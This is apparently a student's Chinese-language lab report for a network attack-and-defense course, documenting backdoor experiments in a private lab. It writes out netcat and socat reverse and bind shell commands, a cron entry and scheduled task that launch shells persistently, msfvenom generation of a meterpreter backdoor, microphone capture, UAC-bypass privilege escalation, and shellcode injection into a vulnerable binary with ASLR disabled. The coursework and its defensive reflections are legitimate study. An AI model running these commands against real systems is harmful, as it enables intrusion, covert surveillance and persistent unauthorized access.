20175304刘朝尹 2019-2020-3 《网络对抗技术》Exp2 后门原理与实践

1.基础知识总结

(1)后门:是不经过正常认证流程而访问系统流程的通道。

(2)常见后门有:编译器后门、操作系统后门、应用程序后门、潜伏或伪装成特定应用的专用后门程序。

(3)布置后门的流程:<1>有一个后门程序;<2>将其放置在系统里;<3>使后门程序代码运行起来;<3>不被查杀软件查杀且不被防火墙发现。(常用技术有:反弹式连接;加密技术;隧道技术)。

(4)常用后门工具:

<1>netcat:又名nc、ncat。是一个底层工具,进行基本的TCP.UDP数据收发,常与其他工具结合使用作为后门。

  • Linux:自带netcat,输入man nc查看其使用说明。

  • Windows: 下载ncat.rar工具包。

    <1>Win获得Linux Shell:

    step1 首先在Windows中使用 ipconfig 查看主机IP地址 192.168.62.134

Step2:在ncat.exe文件目录下输入ncat.exe -l -p 5304打开windows 监听

Step3:Linux反弹连接windows:nc 192.168.62.134 5304 -e /bin/sh

Step4:windows下获得一个linux shell,可运行任何指令,如ls,pwd


<2>Linux获得Win Shell

Step1:输入sudo ifconfig查看到Linux端的IP地址为192.168.62.128

Step2:输入nc -l -p 5304在Linux运行监听

Step3:在ncat.exe文件目录下输入ncat.exe -e cmd.exe 192.168.62.128 5304,使Windows反弹连接Linux

Step4:Linux下看到Windows的命令提示,可运行指令,如ipconfig

<2>meterpreter:是一个后门平台。其中有大量零件可调参数,用时组合可以生成可执行文件。

(5)后门启动:

任务计划程序——>新建任务计划——>触发器——>操作程序或脚本——>操作添加参数。

2.实验内容

(1)使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

Step1:crontab指令增加一条定时任务,"-e"表示编辑。

20175304@kali:~/Exp2$ crontab -e

Step2:选择编辑器并添加代码

选择编辑器,选择2,并添加下面这行代码,表示在每个小时的第28分钟执行后面的那条指令。

28 * * * * /bin/netcat 192.168.62.134 -e /bin/sh

Step3:保存、退出后配置即生效。

可以通过"crontab -l"来查看,"-l"表示list。下图为第28分钟执行代码后的结果:

(2)使用socat获取主机操作Shell, 任务计划启动

socat,Netcat++,超级netcat工具。

Step1:右击计算机—>点击管理—>点击任务计划程序—>点击创建任务

Step2:设置任务名,新建触发器

Step3:新建操作

程序或脚本中选择socat.exe文件的路径,添加参数中填写tcp-listen:5304 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5304,同时把cmd.exe的stderr重定向到stdout上:

Step4:此时可以看到任务的状态为准备就绪

Step5:当时间到时,此时可以看到任务的状态为正在运行,同时会弹出一个cmd窗口。

Step6:在kali中输入指令socat - tcp:192.168.62.134:5304

此时可以发现已经成功获得了一个shell,下图为输入ipconfigcd ..的结果

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

Step1:生成20175304_backdoor.exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.128 LPORT=5304 -f exe > 20175304_backdoor.exe

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

Step2:在Windows下执行ncat.exe -l 5304 > 20175304_backdoor.exe,使被控主机进入接收文件模式

Step3:在kali中执行nc 192.168.3.134 5304 < 20175304_backdoor.exe

从下图可以看到文件已经传输成功了

Step4:MSF打开监听进程

输入msfconsole后进行如下操作:

use exploit/multi/handler,设置payload
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.62.128,设置ip
set LPORT 5304,设置端口
show options,查看选项
exploit,可以看到已经获取到了Windows的shell,可以输入dir来验证

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

step1:使用record_mic指令可以截获一段音频(可以使用-d选项设置录制时间)


step2:使用screenshot指令可以进行截屏


step3:使用getuid指令查看当前用户,使用getsystem指令进行提权操作(参考同学博客问题解决)

使用background命令之后会自动退出到msf的命令行下,先在msf命令行下输入search bypassuac,再输入use exploit/windows/local/bypassuac,然后再输入set session *(*填写内容为你使用background查看到的session数值),最后输入run,当运行结果大致为图文所示内容时,在meterpreter中的getsystem操作便会成功了。


(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

step1:在shellcode网站找一个linux/x86平台的,用于反弹连接的shellcode,下载。
Step2:注入Shellcode(参考实验一步骤三的过程)

在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
在第一个终端中运行pwn1之后不回车

在第二个终端中输入ps -ef | grep pwn1

查看pwn1的进程号为2025
用GDB追踪该进程,找到栈顶(esp)中存放的地址为0xffffd5d0,计算出shellcode地址就是0xffffd5d0+4,即0xffffd5d4。

在第一个终端中中断pwn1运行
在第二个终端中注入input_shellcode:

perl -e 'print "A" x 32;print"xd4xd5xffxf7x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode

Step3:在第一个终端中打开msf控制台,依次输入:

use exploit/multi/handler,设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1,设置ip
set LPORT 4444,设置端口
show options,查看选项
exploit ,设置完成,开始监听

Step4:运行shellcode

在第二个终端输入(cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell

3.报告内容:

3.1.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:攻击者通过interpreter制作一个恶意程序代码,通过绑定到相关应用软件安装包中。如果我正好下载了该安装包软件并点击运行,且该恶意代码违背杀毒软件成功查杀,则该后门成功进入到我的系统中。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:1.开机自启动技术;

​ 2.windows定时任务;

​ 3.Linux的corn;

​ 4.又是用户点击以启动;

​ 5.木马化正常软件。

(3)Meterpreter有哪些给你映像深刻的功能?

答:Meterpreter是一个后门平台,里面的help功能便于操作。还有截屏、启动摄像头、录音等功能使我印象深刻。

(4)如何发现自己有系统有没有被安装后门?

答:查看注册表、进程、端口情况,使用杀毒软件进行查杀。

3.2.实验总结与体会

答:通过本次实验,对后门注入攻击的基本原理有所了解。并且了解了地址随机化等的系统相关应对机制。同时很大程度上提高了个人对于电脑信息安全的重视。会更加注意下载平台的正规性,平时多用查杀软件定期查杀,不随便使用不明来历的U盘等。

原文地址:https://www.cnblogs.com/lcyll/p/12489936.html